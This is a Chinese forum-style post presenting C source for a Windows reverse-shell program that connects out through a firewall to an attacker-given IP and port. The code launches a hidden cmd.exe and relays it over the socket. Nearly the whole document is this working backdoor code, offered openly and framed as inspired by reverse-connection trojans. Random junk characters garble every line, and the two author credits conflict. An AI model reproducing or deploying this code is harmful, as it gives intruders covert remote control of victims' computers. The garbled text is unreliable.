这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^s_E |~U
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/* ============================== 5d<-y2!M
Rebound port in Windows NT coiTVDwA
By wind,2006/7 {.DI[@.g
===============================*/ &X9#{:l=
#include V
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#include #c./<<P5}
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#pragma comment(lib,"wsock32.lib") C5*j0}
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void OutputShell(); wwmMpK}f
SOCKET sClient; LPvyfD;Zy
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *.~hn5Y|?
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void main(int argc,char **argv) l92#F*
{ 'w^1re=R
WSADATA stWsaData; {M$mrmG
int nRet; LdDkd(k
SOCKADDR_IN stSaiClient,stSaiServer; DbH{;
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if(argc != 3) AW!|xA6'`:
{ L_=J(H|
printf("Useage:\n\rRebound DestIP DestPort\n"); 2<qq[2
return; WB"$NYB
} tlA4oVII
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WSAStartup(MAKEWORD(2,2),&stWsaData); hm&{l|u{RU
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vWXj6}
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stSaiClient.sin_family = AF_INET; 1W"9u
stSaiClient.sin_port = htons(0); JU1U=Lu."
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _Oh;._PS
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Xa Yx avq
{ >OBuHqC
printf("Bind Socket Failed!\n"); U3&*,xeU@H
return; I^qk` 5w
} /1gKc}rB2
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stSaiServer.sin_family = AF_INET; VQ$=F8ivG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mdoy1a
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D-8%lGS
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~i=/@;wRp
{ Q{0-pHr}
printf("Connect Error!"); ZL+{?1&-
return; Wu2#r\
} T=A7f6`
OutputShell(); m Wsegq4
} 1x V~EX
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void OutputShell() :2
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{ [64K?l0&
char szBuff[1024]; C;OU2,c,T
SECURITY_ATTRIBUTES stSecurityAttributes; tv,^ Q}
OSVERSIONINFO stOsversionInfo; +wY3E*hU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )Mi#{5z
STARTUPINFO stStartupInfo; T=ox;r
char *szShell; nsaf6y&E
PROCESS_INFORMATION stProcessInformation; qWy{{A+
unsigned long lBytesRead; CDO_A \
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IhJ _Yed
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *J 7>6N:-
stSecurityAttributes.lpSecurityDescriptor = 0; s^AQJ{X
stSecurityAttributes.bInheritHandle = TRUE; %$:js4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S2*-UluG
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H*A)U'`
) Z0
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /?9e{,\s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A&Ut:OiA
stStartupInfo.wShowWindow = SW_HIDE; '4L
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stStartupInfo.hStdInput = hReadPipe; WvAl!^{`
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 23U9+
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GetVersionEx(&stOsversionInfo); $*MjNj2
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switch(stOsversionInfo.dwPlatformId) bqS*WgMY-
{ MztT/31S
case 1: sFx$
szShell = "command.com"; h%E25in
break; ' f}^/`J
default: yV$p(+KkS
szShell = "cmd.exe"; qusgX;)
break; BaR9X ?~O$
} ,Uc\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @Ys(j$U't
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send(sClient,szMsg,77,0); :c!7rh7O
while(1) kD >|e<}\
{ SdnqM`uFo
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aS'G&(_
if(lBytesRead) DJr 8<u
{ "P&|e|7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #Ru+|KL
send(sClient,szBuff,lBytesRead,0); %Kw5b ;
} ?N,a {#w
else 2a (w7/W:
{ C3G?dZKv2
lBytesRead=recv(sClient,szBuff,1024,0); j8hb
if(lBytesRead<=0) break; ZT"?W $
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dU:s^^f&R
} TJ?}5h5
} 2^[fUzL?
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return; @ns2$(wkm@
}